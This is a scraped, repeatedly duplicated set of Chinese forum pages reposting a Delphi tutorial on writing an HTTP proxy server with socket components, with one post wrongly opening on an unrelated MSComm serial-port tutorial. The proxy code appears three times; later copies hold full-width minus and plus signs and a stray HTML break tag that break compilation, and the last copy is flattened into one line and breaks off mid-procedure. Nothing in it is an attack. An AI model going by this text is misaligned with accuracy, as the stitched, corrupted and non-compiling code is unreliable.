session[i-1].CSocket.active:=false {假如远程尚连接，断开它}
else
session[i-1].Used:=false; {假如两者都断开，则置释放资源标志}
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do {统计会话数组尾部有几个未用项}
begin
if session[j-i].Used then
break;
inc(k);
end;
if k>0 then {修正会话数组，释放尾部未用项}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;

file://通信错误出现时…
procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].SS_Handle=socket.SocketHandle) and session[i-1].Used then
begin
session[i-1].client_connected:=false; {客户机未连接}
if session[i-1].remote_connected then
session[i-1].CSocket.active:=false {假如远程尚连接，断开它}
else
session[i-1].Used:=false; {假如两者都断开，则置释放资源标志}
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j-i].Used then
break;
inc(k);
end;
if k>0 then
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
errorcode:=0;
end;

file://被代理端发送来页面请求时…
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
tmp,line,host: string;
i,j,port: integer;
begin
for i:=1 to sessions do {判断是哪一个会话}
if session[i-1].Used and (session[i-1].SS_Handle=socket.sockethandle) then
begin
session[i-1].request_str:=socket.ReceiveText; {保存请求数据}
tmp:=session[i-1].request_str; {存放到临时变量}
memo1.lines.add(tmp);
j:=pos(char(13)+char(10),tmp); {一行标志}
while j>0 do {逐行扫描请求文本，查找主机地址}
begin
line:=copy(tmp,1,j-1); {取一行}
delete(tmp,1,j+1); {删除一行}
j:=pos('Host',line); {主机地址标志}
if j>0 then
begin
delete(line,1,j+5); {删除前面的无效字符}
j:=pos(':',line);
if j>0 then
begin
host:=copy(line,1,j-1);
delete(line,1,j);
try
port:=strtoint(line);
except
port:=80;
end;
end
else
begin
host:=trim(line); {获取主机地址}
port:=80;
end;
if not session[i-1].remote_connected then {假如远征尚未连接}
begin
session[i-1].Request:=true; {置请求数据就绪标志}
session[i-1].CSocket.host:=host; {设置远程主机地址}
session[i-1].CSocket.port:=port; {设置端口}
session[i-1].CSocket.active:=true; {连接远程主机}
session[i-1].Lookingup:=true; {置标志}
session[i-1].LookupTime:=0; {从0开始计时}
end
else
{假如远程已连接，直接发送请求}
session[i-1].CSocket.socket.sendtext(session[i-1].request_str);
break; {停止扫描请求文本}
end;
j:=pos(char(13)+char(10),tmp); {指向下一行}
end;
break; {停止循环}
end;
end;

file://当连接远程主机成功时…
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
var
i: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.socket.sockethandle=socket.SocketHandle) and session[i-1].Used then
begin
session[i-1].CSocket.tag:=socket.SocketHandle;
session[i-1].remote_connected:=true; {置远程主机已连通标志}
session[i-1].Lookingup:=false; {清标志}
break;
end;
end;

file://当远程主机断开时…
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then
begin
session[i-1].remote_connected:=false; {置为未连接}
if not session[i-1].client_connected then
session[i-1].Used:=false {假如客户机已断开，则置释放资源标志}
else
for k:=1 to serversocket1.Socket.ActiveConnections do
if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then
begin
serversocket1.Socket.Connections[k-1].Close;
break;
end;
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j-i].Used then
break;
inc(k);
end;
if k>0 then {修正会话数组}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;

file://当与远程主机通信发生错误时…
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var
i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then
begin
socket.close;
session[i-1].remote_connected:=false; {置为未连接}
if not session[i-1].client_connected then
session[i-1].Used:=false {假如客户机已断开，则置释放资源标志}
else
for k:=1 to serversocket1.Socket.ActiveConnections do
if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then
begin
serversocket1.Socket.Connections[k-1].Close;
break;
end;
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j-i].Used then
break;
inc(k);
end;
errorcode:=0;
if k>0 then {修正会话数组}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;

file://向远程主机发送页面请求…
procedure TForm1.ClientSocket1Write(Sender: TObject;
Socket: TCustomWinSocket);
var
i: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then
begin
if session[i-1].Request then
begin
socket.SendText(session[i-1].request_str); {假如有请求，发送}
session[i-1].Request:=false; {清标志}
end;
break;
end;
end;

file://远程主机发来页面数据时…
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
i,j: integer;
rec_bytes: integer; {传回的数据块长度}
rec_Buffer: array[0..2047] of char; {传回的数据块缓冲区}
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then
begin
rec_bytes:=socket.ReceiveBuf(rec_buffer,2048); {接收数据}
for j:=1 to serversocket1.Socket.ActiveConnections do
if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then
begin
serversocket1.Socket.Connections[j-1].SendBuf(rec_buffer,rec_bytes); {发送数据}
break;
end;
break;
end;
end;

file://“页面找不到”等错误信息出现时…
procedure TForm1.AppException(Sender: TObject; E: Exception);
begin
inc(invalidrequests);
end;

file://查找远程主机定时…
procedure TForm1.Timer1Timer(Sender: TObject);
var
i,j: integer;
begin
for i:=1 to sessions do
if session[i-1].Used and session[i-1].Lookingup then {假如正在连接}
begin
inc(session[i-1].LookupTime);
if session[i-1].LookupTime>lookuptimeout then {假如超时}
begin
session[i-1].Lookingup:=false;
session[i-1].CSocket.active:=false; {停止查找}
for j:=1 to serversocket1.Socket.ActiveConnections do
if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then
begin
serversocket1.Socket.Connections[j-1].Close; {断开客户机}
break;
end;
end;
end;
end;
end.

3、 后记
由于这种设计思路仅仅在被代理端和远程主机之间增加了一个重定向功能，被代理端原
有的缓存技术等特点均保留，因此效率较高。经过测试，利用1个33.6K的Modem上网时，三到十个被代理工作站同时上网，仍有较好的响应速度。由于被代理工作站和代理服务器工作站之间的连接一般通过高速链路，因此瓶颈主要出现在代理服务器的上网方式上。
通过上述方法，作者成功开发了一套完善的代理服务器软件并与机房计费系统完全集
成，实现了利用一台工作站完成上网代理、上网计费、用机计费等功能。 有编程经验的朋友完全可以另行增加代理服务器功能，如设定禁止访问站点、统计客户流量、Web访问列表等等。


CSDN_文档中心_用DELPHI设计代理服务器程序(前面一贴,没贴好,请原谅)

用DELPHI设计代理服务器程序

摘自《天极网学习中心》 (文/万雪勇)

    用Delphi开发串口通信软件一般有两种方法：一是利用Windows的通信API函数，另一种是采用Microsoft的MSComm控件。利用API编写串口通信程序较为复杂，需要掌握大量通信知识，其优点是可实现的功能更强大，应用面更广泛，更适合于编写较为复杂的低层次通信程序。而利用MSComm控件则相对较简单，该控件具有丰富的与串口通信密切相关的属性及事件，提供了对串口的各种操作。
    一、MSComm控件的主要属性及事件
    （1）CommPort：设置或返回串行端口号，缺省为1。
    （2）Setting：设置或返回串口通信参数，格式为“波特率，奇偶校验位，数据位，停止位”。例如：MSComm1.Setting:='9600,n,8,1'
    （3）PortOpen：打开或关闭串行端口，格式为：MSComm1.PortOpen:={True|False}
    （4）InBufferSize：设置或返回接收缓冲区的大小，缺省值为1024字节。
    （5）InBufferCount：返回接收缓冲区内等待读取的字节数，可通过设置该属性为0来清空接收缓冲区。
    （6）RThreshold：该属性为一阀值，它确定当接收缓冲区内的字节个数达到或超过该值后就产生代码为ComEvReceive的OnComm事件。
    （7）SThreshold：该属性为一阀值，它确定当发送缓冲区内的字节个数少于该值后就产生代码为ComEvSend的OnComm事件。
    （8）InputLen：设置或返回接收缓冲区内用Input读入的字节数，设置该属性为0表示Input读取整个缓冲区的内容。
    （9）Input：从接收缓冲区读取一串字符。
    （10）OutBufferSize：设置或返回发送缓冲区的大小，缺省值为512字节。
    （11）OutBufferCount：返回发送缓冲区内等待发送的字节数，可通过设置该属性为0来清空缓冲区。
    （12）OutPut：向发送缓冲区传送一串字符。
    如果在通信过程中发生错误或事件，就会引发OnComm事件，并由CommEvent属性代码反映错误类型，在通信程序的设计中可根据该属性值来执行不同的操作。CommEvent属性值及其含义如下：
    （1）ComEvSend：值为1，发送缓冲区的内容少于SThreshold指定的值。
    （2）ComEvReceive：值为2，接收缓冲区内字符数达到RThreshold指定的值。
    （3）ComEvFrame：值为1004，硬件检测到帧错误。
    （4）ComEvRxOver：值为1008，接收缓冲区溢出。
    （5）ComEvTxFull：值为1010，发送缓冲区溢出。
    （6）ComEvRxParity：值为1009，奇偶校验错误。
    （7）ComEvEOF：值为7，接收数据中出现文件尾（ASCII码为26）字符。
    二、程序样例
    在Delphi3.0中无法使用MSComm控件，笔者使用的是Delphi5.0。MSComm控件是VB中的OCX控件，首先需要将其添加到Delphi中，选择菜单“Component”→“Import ActiveX Control”，在“Import ActiveX”页内选择“Microsoft Comm Control”，点击“Install”安装，安装后在“ActiveX”组件板中出现MSComm图标，即可被使用。有一点要注意，在Object Inspector中MSComm控件的Input和Output属性是不可见的，但它们仍然存在，这两个属性的类型是OleVariant（Ole万能变量）。
    下面是一接收程序的样例（主要部分），大家可根据实际需要进行完善。
    在Form中放置一Memo控件用于显示接收的数据，Combobox1选择通信参数（Setting属性值），Combobox2选择串口（CommPort属性值），按Button1开始接收数据，按Button2停止接收。
procedure TForm1.FormCreate(Sender: TObject);
begin
    Mscomm1.InBufferCount :=0; // 清空接收缓冲区
    Mscomm1.InputLen :=0; // Input读取整个缓冲区内容
    Mscomm1.RThreshold :=1; // 每次接收到字符即产生OnComm事件
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
    Mscomm1.Settings :=ComboBox1.Text;
    if ComboBox2.Text ='com1' then // 假设只考虑com1和com2两种情况
        Mscomm1.CommPort :=1
    else
        Mscomm1.CommPort :=2;
    Mscomm1.PortOpen :=true; // 打开串口
    Mscomm1.DTREnable :=true; // 数据终端准备好
    Mscomm1.RTSEnable :=true; // 请求发送
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
    Mscomm1.PortOpen :=false; // 关闭串口
   Mscomm1.DTREnable :=false;
    Mscomm1.RTSEnable :=false;
end;
procedure TForm1.MSComm1Comm(Sender: TObject);
var recstr:Olevariant;
begin
  if Mscomm1.CommEvent = 2 then
   begin
     recstr := Mscomm1.Input ;
     Memo1.text := Memo1.Text ＋ recstr;
   end;
end;
//主窗口建立
procedure TForm1.FormCreate(Sender: TObject);
begin
Service_Enabled:=false;
timer2.Enabled:=true;{窗口建立时，打开定时器}
end;
//窗口关闭时
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
timer1.Enabled:=false;{关闭定时器}
if Service_Enabled then
serversocket1.Active:=false;{退出程序时关闭服务}
end;
//退出程序按钮
procedure TForm1.N01Click(Sender: TObject);
begin
form1.Close;{退出程序}
end;
//开启代理服务后
procedure TForm1.ServerSocket1Listen(Sender: TObject;Socket: TCustomWinSocket);
begin
Service_Enabled:=true;{置正在服务标志}
N11.Enabled:=false;
N21.Enabled:=true;
end;
//被代理端连接到代理服务器后，建立一个会话，并与套接字绑定...
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;Socket: TCustomWinSocket);
var i,j: integer;
begin
j:=－1;
for i:=1 to sessions do{查找是否有空白项}
if not session[i－1].Used and not session[i－1].CSocket.active then
begin
j:=i－1;{有，分配它}
session[j].Used:=true;{置为在用}
break;
end
else
if not session[i－1].Used and session[i－1].CSocket.active then
session[i－1].CSocket.active:=false;
if j=－1 then
begin{无，新增一个}
j:=sessions;
inc(sessions);
setlength(session,sessions);
session[j].Used:=true;{置为在用}
session[j].CSocket:=TClientSocket.Create(nil);
session[j].CSocket.OnConnect:=ClientSocket1Connect;
session[j].CSocket.OnDisconnect:=ClientSocket1Disconnect;
session[j].CSocket.OnError:=ClientSocket1Error;
session[j].CSocket.OnRead:=ClientSocket1Read;
session[j].CSocket.OnWrite:=ClientSocket1Write;
session[j].Lookingup:=false;
end;
session[j].SS_Handle:=socket.socketHandle; {保存句柄，实现绑定}
session[j].Request:=false;{无请求}
session[j].client_connected:=true;{客户机已连接}
session[j].remote_connected:=false;{远程未连接}
edit1.text:=inttostr(sessions);
end;
//被代理端断开时
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;Socket: TCustomWinSocket);
var i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i－1].SS_Handle=socket.SocketHandle) and session[i－1].Used then
begin
session[i－1].client_connected:=false; {客户机未连接}
if session[i－1].remote_connected then
session[i－1].CSocket.active:=false {假如远程尚连接，断开它}
else
session[i－1].Used:=false;{假如两者都断开，则置释放资源标志}
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do{统计会话数组尾部有几个未用项}
begin
if session[j－i].Used then break;
inc(k);
end;
if k>0 then{修正会话数组，释放尾部未用项}
begin
sessions:=sessions－k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;
//通信错误出现时
procedure TForm1.ServerSocket1ClientError(Sender: TObject;Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer);
var i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i－1].SS_Handle=socket.SocketHandle) and session[i－1].Used then
begin
session[i－1].client_connected:=false;{客户机未连接}
if session[i－1].remote_connected then
session[i－1].CSocket.active:=false{假如远程尚连接，断开它}
else
session[i－1].Used:=false;{假如两者都断开，则置释放资源标志}
break;
end;
j:=sessions;
k:=0;
for i:=1 to j do
begin
if session[j－i].Used then break;
inc(k);
end;
if k>0 then
begin
sessions:=sessions－k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
errorcode:=0;
end;
//被代理端发送来页面请求时
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;Socket: TCustomWinSocket);
var tmp,line,host: string;
i,j,port: integer;
begin
for i:=1 to sessions do{判断是哪一个会话}
if session[i－1].Used and (session[i－1].SS_Handle=socket.sockethandle) then
begin
session[i－1].request_str:=socket.ReceiveText; {保存请求数据}
tmp:=session[i－1].request_str; {存放到临时变量}
memo1.lines.add(tmp);
j:=pos(char(13)＋char(10),tmp);{一行标志}
while j>0 do{逐行扫描请求文本，查找主机地址}
begin
line:=copy(tmp,1,j－1);{取一行}
delete(tmp,1,j＋1);{删除一行}
j:=pos('Host',line);{主机地址标志}
if j>0 then
begin
delete(line,1,j＋5);{删除前面的无效字符}
j:=pos(':',line);
if j>0 then
begin
host:=copy(line,1,j－1);
delete(line,1,j);
try
port:=strtoint(line);
except
port:=80;
end;
end
else
begin
host:=trim(line);{获取主机地址}
port:=80;
end;
if not session[i－1].remote_connected then{假如远征尚未连接}
begin
session[i－1].Request:=true;{置请求数据就绪标志}
session[i－1].CSocket.host:=host;{设置远程主机地址}
session[i－1].CSocket.port:=port;{设置端口}
session[i－1].CSocket.active:=true;{连接远程主机}
session[i－1].Lookingup:=true;{置标志}
session[i－1].LookupTime:=0;{从0开始计时}
end
else
{假如远程已连接，直接发送请求}
session[i－1].CSocket.socket.sendtext(session[i－1].request_str);
break;{停止扫描请求文本}
end;
j:=pos(char(13)＋char(10),tmp);{指向下一行}
end;
break;{停止循环}
end;
//当连接远程主机成功时
procedure TForm1.ClientSocket1Connect(Sender: TObject;Socket: TCustomWinSocket);
var i: integer;
begin
for i:=1 to sessions do
if (session[i－1].CSocket.socket.sockethandle= socket.SocketHandle)and session[i－1].Used < BR> then
begin
session[i－1].CSocket.tag:=socket.SocketHandle;
session[i－1].remote_connected:=true;{置远程主机已连通标志}
session[i－1].Lookingup:=false;{清标志}
break;
end;
end;
//当远程主机断开时
procedure TForm1.ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket);
var i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then
begin
session[i-1].remote_connected:=false;{置为未连接}
if not session[i-1].client_connected then
session[i-1].Used:=false{假如客户机已断开，则置释放资源标志}
else for k:=1 to serversocket1.Socket.ActiveConnections do
if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and
session[i-1].used then
begin
serversocket1.Socket.Connections[k-1].Close;
break;
end;
break;
end;
j:=sessions;
k:=0;
for i:= 1 to j do
begin
if session[j-i].Used then break;
inc(k);
end;
if k>0 then{修正会话数组}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:=inttostr(sessions);
end;
file://当与远程主机通信发生错误时/
procedure TForm1.ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
var i,j,k: integer;
begin
for i:=1 to sessions do
if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then
begin
socket.close;
session[i-1].remote_connected:=false;{置为未连接}
if not session[i-1].client_connected then
session[i-1].Used:= false{假如客户机已断开，则置释放资源标志}
else
for k:=1 to serversocket1.Socket.ActiveConnections do
if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle)
and session[i-1].used then
begin
serversocket1.Socket.Connections[k-1].Close;
break;
end;
break;
end;
j:= sessions;
k:= 0;
for i:= 1 to j do
begin
if session[j-i].Used then break;
inc(k);
end;
errorcode:= 0;
if k>0 then{修正会话数组}
begin
sessions:=sessions-k;
setlength(session,sessions);
end;
edit1.text:= inttostr(sessions);
end;
//向远程主机发送页面请求
procedure TForm1.ClientSocket1Write(Sender: TObject; Socket:TCustomWinSocket);
var i: integer;
begin
for i:= 1 to sessions do
if (session[i-1].CSocket.tag= socket.SocketHandle) and session[i-1].Used then
begin
if session[i-1].Request then
begin
socket.SendText(session[i-1].request_str);{假如有请求，发送}
session[i-1].Request:= false;{清标志}
end;
break;
end;
end;
//远程主机发来页面数据时
procedure TForm1.ClientSocket1Read(Sender: TObject;Socket: TCustomWinSocket);
var i,j: integer;
rec_bytes: integer;{传回的数据块长度}
rec_Buffer: array[0..2047] of char; {传回的数据块缓冲区}
begin
for i:= 1 to sessions do
if (session[i-1].CSocket.tag= socket.SocketHandle) and session[i-1].Used then
begin
rec_bytes:= socket.ReceiveBuf(rec_buffer,2048); {接收数据}
for j:= 1 to serversocket1.Socket.ActiveConnections do
if serversocket1.Socket.Connections[j-1].SocketHandle= session[i-1].SS_Handle then
begin
serversocket1.Socket.Connections[j-1].SendBuf(rec_buffer,rec_bytes); {发送数据}
break;
end;
break;
end;
end;
//“页面找不到”等错误信息出现时
procedure TForm1.AppException(Sender:TObject; E: Exception);
begin
inc(invalidrequests);
end;
file://查找远程主机定时/
procedure TForm1.Timer1Timer(Sender: TObject);
var i,j: integer;
begin
for i:= 1 to sessions do
if session[i-1].Used and session[i-1].Lookingup then{假如正在连接}
begin
inc(session[i-1].LookupTime);
if session[i-1].LookupTime > lookuptimeout then{假如超时}
begin
session[i-1].Lookingup:=false;
session[i-1].CSocket.active:=false;{停止查找}
for j:=1 to serversocket1.Socket.ActiveConnections do
if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then
begin
serversocket1.Socket.Connections[j-1].Close;{断开客户机}
break;
end;
end;
end;
end;
end.
三、总结
由于这种设计思路仅仅在被代理端和远程主机之间增加了一个重定向功能，被代理端原有的缓存技术等特点均保留，因此效率较高。经过测试，利用1个33.6K的Modem上网时，三到十个被代理工作站同时上网，仍有较好的响应速度。由于被代理工作站和代理服务器之间的连接一般通过高速链路，因此瓶颈主要出现在代理服务器的上网方式上。 通过上述方法，作者成功开发了一套完善的代理服务器软件并与机房计费系统完全集成，实现了利用一台工作站完成上网代理、上网计费、用机计费等功能。 有编程经验的朋友完全可以另行增加代理服务器功能，如设定禁止访问站点、统计客户流量、Web访问列表等等。


CSDN_文档中心_用DELPHI设计代理服务器程序

用DELPHI设计代理服务器程序 摘自《天极网学习中心》 (文/万雪勇) 　　用Delphi开发串口通信软件一般有两种方法：一是利用Windows的通信API函数，另一种是采用Microsoft的MSComm控件。利用API编写串口通信程序较为复杂，需要掌握大量通信知识，其优点是可实现的功能更强大，应用面更广泛，更适合于编写较为复杂的低层次通信程序。而利用MSComm控件则相对较简单，该控件具有丰富的与串口通信密切相关的属性及事件，提供了对串口的各种操作。 　　一、MSComm控件的主要属性及事件 　　（1）CommPort：设置或返回串行端口号，缺省为1。 　　（2）Setting：设置或返回串口通信参数，格式为“波特率，奇偶校验位，数据位，停止位”。例如：MSComm1.Setting:='9600,n,8,1' 　　（3）PortOpen：打开或关闭串行端口，格式为：MSComm1.PortOpen:={True|False} 　　（4）InBufferSize：设置或返回接收缓冲区的大小，缺省值为1024字节。 　　（5）InBufferCount：返回接收缓冲区内等待读取的字节数，可通过设置该属性为0来清空接收缓冲区。 　　（6）RThreshold：该属性为一阀值，它确定当接收缓冲区内的字节个数达到或超过该值后就产生代码为ComEvReceive的OnComm事件。 　　（7）SThreshold：该属性为一阀值，它确定当发送缓冲区内的字节个数少于该值后就产生代码为ComEvSend的OnComm事件。 　　（8）InputLen：设置或返回接收缓冲区内用Input读入的字节数，设置该属性为0表示Input读取整个缓冲区的内容。 　　（9）Input：从接收缓冲区读取一串字符。 　　（10）OutBufferSize：设置或返回发送缓冲区的大小，缺省值为512字节。 　　（11）OutBufferCount：返回发送缓冲区内等待发送的字节数，可通过设置该属性为0来清空缓冲区。 　　（12）OutPut：向发送缓冲区传送一串字符。 　　如果在通信过程中发生错误或事件，就会引发OnComm事件，并由CommEvent属性代码反映错误类型，在通信程序的设计中可根据该属性值来执行不同的操作。CommEvent属性值及其含义如下： 　　（1）ComEvSend：值为1，发送缓冲区的内容少于SThreshold指定的值。 　　（2）ComEvReceive：值为2，接收缓冲区内字符数达到RThreshold指定的值。 　　（3）ComEvFrame：值为1004，硬件检测到帧错误。 　　（4）ComEvRxOver：值为1008，接收缓冲区溢出。 　　（5）ComEvTxFull：值为1010，发送缓冲区溢出。 　　（6）ComEvRxParity：值为1009，奇偶校验错误。 　　（7）ComEvEOF：值为7，接收数据中出现文件尾（ASCII码为26）字符。 　　二、程序样例 　　在Delphi3.0中无法使用MSComm控件，笔者使用的是Delphi5.0。MSComm控件是VB中的OCX控件，首先需要将其添加到Delphi中，选择菜单“Component”→“Import ActiveX Control”，在“Import ActiveX”页内选择“Microsoft Comm Control”，点击“Install”安装，安装后在“ActiveX”组件板中出现MSComm图标，即可被使用。有一点要注意，在Object Inspector中MSComm控件的Input和Output属性是不可见的，但它们仍然存在，这两个属性的类型是OleVariant（Ole万能变量）。 　　下面是一接收程序的样例（主要部分），大家可根据实际需要进行完善。 　　在Form中放置一Memo控件用于显示接收的数据，Combobox1选择通信参数（Setting属性值），Combobox2选择串口（CommPort属性值），按Button1开始接收数据，按Button2停止接收。 procedure TForm1.FormCreate(Sender: TObject); begin 　　Mscomm1.InBufferCount :=0; // 清空接收缓冲区 　　Mscomm1.InputLen :=0; // Input读取整个缓冲区内容 　　Mscomm1.RThreshold :=1; // 每次接收到字符即产生OnComm事件 end; procedure TForm1.Button1Click(Sender: TObject); begin 　　Mscomm1.Settings :=ComboBox1.Text; 　　if ComboBox2.Text ='com1' then // 假设只考虑com1和com2两种情况 　　　　Mscomm1.CommPort :=1 　　else 　　　　Mscomm1.CommPort :=2; 　　Mscomm1.PortOpen :=true; // 打开串口 　　Mscomm1.DTREnable :=true; // 数据终端准备好 　　Mscomm1.RTSEnable :=true; // 请求发送 end; procedure TForm1.Button2Click(Sender: TObject); begin 　　Mscomm1.PortOpen :=false; // 关闭串口 　 Mscomm1.DTREnable :=false; 　　Mscomm1.RTSEnable :=false; end; procedure TForm1.MSComm1Comm(Sender: TObject); var recstr:Olevariant; begin 　if Mscomm1.CommEvent = 2 then 　 begin 　　 recstr := Mscomm1.Input ; 　　 Memo1.text := Memo1.Text ＋ recstr; 　 end; end; //主窗口建立 procedure TForm1.FormCreate(Sender: TObject); begin Service_Enabled:=false; timer2.Enabled:=true;{窗口建立时，打开定时器} end; //窗口关闭时 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin timer1.Enabled:=false;{关闭定时器} if Service_Enabled then serversocket1.Active:=false;{退出程序时关闭服务} end; //退出程序按钮 procedure TForm1.N01Click(Sender: TObject); begin form1.Close;{退出程序} end; //开启代理服务后 procedure TForm1.ServerSocket1Listen(Sender: TObject;Socket: TCustomWinSocket); begin Service_Enabled:=true;{置正在服务标志} N11.Enabled:=false; N21.Enabled:=true; end; //被代理端连接到代理服务器后，建立一个会话，并与套接字绑定... procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;Socket: TCustomWinSocket); var i,j: integer; begin j:=－1; for i:=1 to sessions do{查找是否有空白项} if not session[i－1].Used and not session[i－1].CSocket.active then begin j:=i－1;{有，分配它} session[j].Used:=true;{置为在用} break; end else if not session[i－1].Used and session[i－1].CSocket.active then session[i－1].CSocket.active:=false; if j=－1 then begin{无，新增一个} j:=sessions; inc(sessions); setlength(session,sessions); session[j].Used:=true;{置为在用} session[j].CSocket:=TClientSocket.Create(nil); session[j].CSocket.OnConnect:=ClientSocket1Connect; session[j].CSocket.OnDisconnect:=ClientSocket1Disconnect; session[j].CSocket.OnError:=ClientSocket1Error; session[j].CSocket.OnRead:=ClientSocket1Read; session[j].CSocket.OnWrite:=ClientSocket1Write; session[j].Lookingup:=false; end; session[j].SS_Handle:=socket.socketHandle; {保存句柄，实现绑定} session[j].Request:=false;{无请求} session[j].client_connected:=true;{客户机已连接} session[j].remote_connected:=false;{远程未连接} edit1.text:=inttostr(sessions); end; //被代理端断开时 procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;Socket: TCustomWinSocket); var i,j,k: integer; begin for i:=1 to sessions do if (session[i－1].SS_Handle=socket.SocketHandle) and session[i－1].Used then begin session[i－1].client_connected:=false; {客户机未连接} if session[i－1].remote_connected then session[i－1].CSocket.active:=false {假如远程尚连接，断开它} else session[i－1].Used:=false;{假如两者都断开，则置释放资源标志} break; end; j:=sessions; k:=0; for i:=1 to j do{统计会话数组尾部有几个未用项} begin if session[j－i].Used then break; inc(k); end; if k>0 then{修正会话数组，释放尾部未用项} begin sessions:=sessions－k; setlength(session,sessions); end; edit1.text:=inttostr(sessions); end; //通信错误出现时 procedure TForm1.ServerSocket1ClientError(Sender: TObject;Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer); var i,j,k: integer; begin for i:=1 to sessions do if (session[i－1].SS_Handle=socket.SocketHandle) and session[i－1].Used then begin session[i－1].client_connected:=false;{客户机未连接} if session[i－1].remote_connected then session[i－1].CSocket.active:=false{假如远程尚连接，断开它} else session[i－1].Used:=false;{假如两者都断开，则置释放资源标志} break; end; j:=sessions; k:=0; for i:=1 to j do begin if session[j－i].Used then break; inc(k); end; if k>0 then begin sessions:=sessions－k; setlength(session,sessions); end; edit1.text:=inttostr(sessions); errorcode:=0; end; //被代理端发送来页面请求时 procedure TForm1.ServerSocket1ClientRead(Sender: TObject;Socket: TCustomWinSocket); var tmp,line,host: string; i,j,port: integer; begin for i:=1 to sessions do{判断是哪一个会话} if session[i－1].Used and (session[i－1].SS_Handle=socket.sockethandle) then begin session[i－1].request_str:=socket.ReceiveText; {保存请求数据} tmp:=session[i－1].request_str; {存放到临时变量} memo1.lines.add(tmp); j:=pos(char(13)＋char(10),tmp);{一行标志} while j>0 do{逐行扫描请求文本，查找主机地址} begin line:=copy(tmp,1,j－1);{取一行} delete(tmp,1,j＋1);{删除一行} j:=pos('Host',line);{主机地址标志} if j>0 then begin delete(line,1,j＋5);{删除前面的无效字符} j:=pos(':',line); if j>0 then begin host:=copy(line,1,j－1); delete(line,1,j); try port:=strtoint(line); except port:=80; end; end else begin host:=trim(line);{获取主机地址} port:=80; end; if not session[i－1].remote_connected then{假如远征尚未连接} begin session[i－1].Request:=true;{置请求数据就绪标志} session[i－1].CSocket.host:=host;{设置远程主机地址} session[i－1].CSocket.port:=port;{设置端口} session[i－1].CSocket.active:=true;{连接远程主机} session[i－1].Lookingup:=true;{置标志} session[i－1].LookupTime:=0;{从0开始计时} end else {假如远程已连接，直接发送请求} session[i－1].CSocket.socket.sendtext(session[i－1].request_str); break;{停止扫描请求文本} end; j:=pos(char(13)＋char(10),tmp);{指向下一行} end; break;{停止循环} end; //当连接远程主机成功时 procedure TForm1.ClientSocket1Connect(Sender: TObject;Socket: TCustomWinSocket); var i: integer; begin for i:=1 to sessions do if (session[i－1].CSocket.socket.sockethandle= socket.SocketHandle)and session[i－1].Used < BR> then begin session[i－1].CSocket.tag:=socket.SocketHandle; session[i－1].remote_connected:=true;{置远程主机已连通标志} session[i－1].Lookingup:=false;{清标志} break; end; end; //当远程主机断开时 procedure TForm1.ClientSocket1Disconnect(Sender: TObject; Socket: TCustomWinSocket); var i,j,k: integer; begin for i:=1 to sessions do if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then begin session[i-1].remote_connected:=false;{置为未连接} if not session[i-1].client_connected then session[i-1].Used:=false{假如客户机已断开，则置释放资源标志} else for k:=1 to 